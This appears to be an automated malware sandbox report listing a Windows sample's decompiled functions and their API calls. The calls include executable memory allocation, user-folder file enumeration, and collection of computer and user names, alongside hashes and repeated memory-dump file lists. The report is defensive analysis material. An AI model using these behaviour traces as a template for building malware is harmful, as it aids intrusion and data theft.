Part of subcall function 0057A9B0: lstrcpy.KERNEL32(00000000), ref: 0057AA04
Part of subcall function 0057A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0057AA12

Part of subcall function 0057A920: lstrcpy.KERNEL32(00000000,?), ref: 0057A972
Part of subcall function 0057A920: lstrcat.KERNEL32(00000000), ref: 0057A982

Part of subcall function 0057A8A0: lstrcpy.KERNEL32(?,00580E17), ref: 0057A905

lstrlen.KERNEL32(00000000), ref: 0056B42E
lstrlen.KERNEL32(00000000), ref: 0056B442

Part of subcall function 0057A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0057A7E6

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 2895260dfd83b648ccbba03b3826d293fbcde5b67f66a7a590b582e76c0b8b07
Instruction ID: 8164f1be4ca51f88d58afa8236a0dfe885de29cdb50a558436faf003106499d8
Opcode Fuzzy Hash: 2895260dfd83b648ccbba03b3826d293fbcde5b67f66a7a590b582e76c0b8b07
Instruction Fuzzy Hash: 597102729101159BDF04FBA0EC9ADEE7B78BFD4300F408528F51AA7191EF346A09DB66

Function 00566660 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040), ref: 00566706
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 00566753

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: c711f6fe078c679870c9a35a71d3605f3fa914dbb0cd01d828d4166c065b1945
Instruction ID: b0ba8af12a48a4d3dca70fa46fe49cb56dafc63435b96a077739fd0e41e0fb46
Opcode Fuzzy Hash: c711f6fe078c679870c9a35a71d3605f3fa914dbb0cd01d828d4166c065b1945
Instruction Fuzzy Hash: 9541DA74A00209EFCB44CF98C494BADBBB1FF48314F2486A9E9599B355D735EA81CF84

Function 00575050 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00578DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00578E0B

lstrcat.KERNEL32(?,00000000), ref: 0057508A
lstrcat.KERNEL32(?,0044F520), ref: 005750A8

Part of subcall function 00574910: wsprintfA.USER32 ref: 0057492C
Part of subcall function 00574910: FindFirstFileA.KERNEL32(?,?), ref: 00574943

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: e3ea3f1d2ec90430205b8783851ea3c46c8deb0c223be5df2d96a1b6fd0b04c9
Instruction ID: e6dfa6875a6204edc579255b347e101ed2e853fbd0314ceabc6017ac978e8a31
Opcode Fuzzy Hash: e3ea3f1d2ec90430205b8783851ea3c46c8deb0c223be5df2d96a1b6fd0b04c9
Instruction Fuzzy Hash: E401847690020867C794FB60EC4AEFE773CBBE5300F008554B65A96191EF749AC8DFA6

Function 005610A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 005610B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 005610F7

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: e4f8724f4a8ab5864eedea98dcac253ad1ad4bc500807b9ac0cbb2c055688032
Instruction ID: cf88b2089556dbe46acdea73f092c029ee6cc41e4da00487866d2fc5b89cf761
Opcode Fuzzy Hash: e4f8724f4a8ab5864eedea98dcac253ad1ad4bc500807b9ac0cbb2c055688032
Instruction Fuzzy Hash: FDF0E971641204BBEB1497A4AC4DFBBB7D8E705715F304444F504E3280D6715F00DB55

Function 00578D90 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,00561B54,?,?,0058564C,?,?,00580E1F), ref: 00578D9F

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: d814dc33b02b6d3facf0b96dc16eba53cb167b4c7af4a768aa74bb75c6cfef2e
Instruction ID: 19da3b4b3e5f433fc1694542774f4ddfb2fc0690630efeb2d545446286250206
Opcode Fuzzy Hash: d814dc33b02b6d3facf0b96dc16eba53cb167b4c7af4a768aa74bb75c6cfef2e
Instruction Fuzzy Hash: 68F0A570C40208EBCB14EFA4E5496EDBF74FB51310F10C599E86A672D0DB745A55EB81

Function 00578DE0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00578E0B

Part of subcall function 0057A740: lstrcpy.KERNEL32(00580E17,00000000), ref: 0057A788

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 23e2336323ea1f46a9b7335b27c307e4092ccc25b349c86f4f362f92477cd120
Instruction ID: 2137a1cfa70592e806a0e03748d667dc93163053086017132b158d12b8e295ff
Opcode Fuzzy Hash: 23e2336323ea1f46a9b7335b27c307e4092ccc25b349c86f4f362f92477cd120
Instruction Fuzzy Hash: D0E0123194034D7BDB91DB50DC9AFAD777CEB84B01F008295BA0C5A1C0DE74AB858B91

Function 00561190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 005778E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00577910
Part of subcall function 005778E0: RtlAllocateHeap.NTDLL(00000000), ref: 00577917
Part of subcall function 005778E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0057792F

Part of subcall function 00577850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,005611B7), ref: 00577880
Part of subcall function 00577850: RtlAllocateHeap.NTDLL(00000000), ref: 00577887
Part of subcall function 00577850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0057789F

ExitProcess.KERNEL32 ref: 005611C6

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 48af7db1c5c820ed72ffa296dddd3a98a7bf9ba4501a09d200e066a65f65693c
Instruction ID: edc67b157cbf3907724c70d7b0cbd67c349ca2fc7abad3d9982148c1445e59be
Opcode Fuzzy Hash: 48af7db1c5c820ed72ffa296dddd3a98a7bf9ba4501a09d200e066a65f65693c
Instruction Fuzzy Hash: 96E0ECA595420663CA0077B1BC0EB3A3A9C7B96345F088424BA0993502FA29E810D66E

Function 00578E30 Relevance: 1.3, APIs: 1, Instructions: 35memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,-00000001), ref: 00578E52

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 0f5e3d298dcc326f79109eb7c747723cd619ef0696cc608af6feeee896f2dcaa
Instruction ID: 3b9cc0a055f9f717b46701b582e7fc8e8ef92b0d37e6ba7d78c0dd22314030ac
Opcode Fuzzy Hash: 0f5e3d298dcc326f79109eb7c747723cd619ef0696cc608af6feeee896f2dcaa
Instruction Fuzzy Hash: EE01E830A44108EFCB05CF98D5897AC7FB5BF04308F28C488D9096B351C7755A84EB85

Non-executed Functions

Function 6CA95440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CA95492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA954A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA954BE
__Init_thread_footer.LIBCMT ref: 6CA954DB

Part of subcall function 6CABAB3F: EnterCriticalSection.KERNEL32(6CB0E370,?,?,6CA83527,6CB0F6CC,?,?,?,?,?,?,?,?,6CA83284), ref: 6CABAB49
Part of subcall function 6CABAB3F: LeaveCriticalSection.KERNEL32(6CB0E370,?,6CA83527,6CB0F6CC,?,?,?,?,?,?,?,?,6CA83284,?,?,6CAA56F6), ref: 6CABAB7C

Part of subcall function 6CABCBE8: GetCurrentProcess.KERNEL32(?,6CA831A7), ref: 6CABCBF1
Part of subcall function 6CABCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA831A7), ref: 6CABCBFA

GetCurrentThreadId.KERNEL32 ref: 6CA954F9
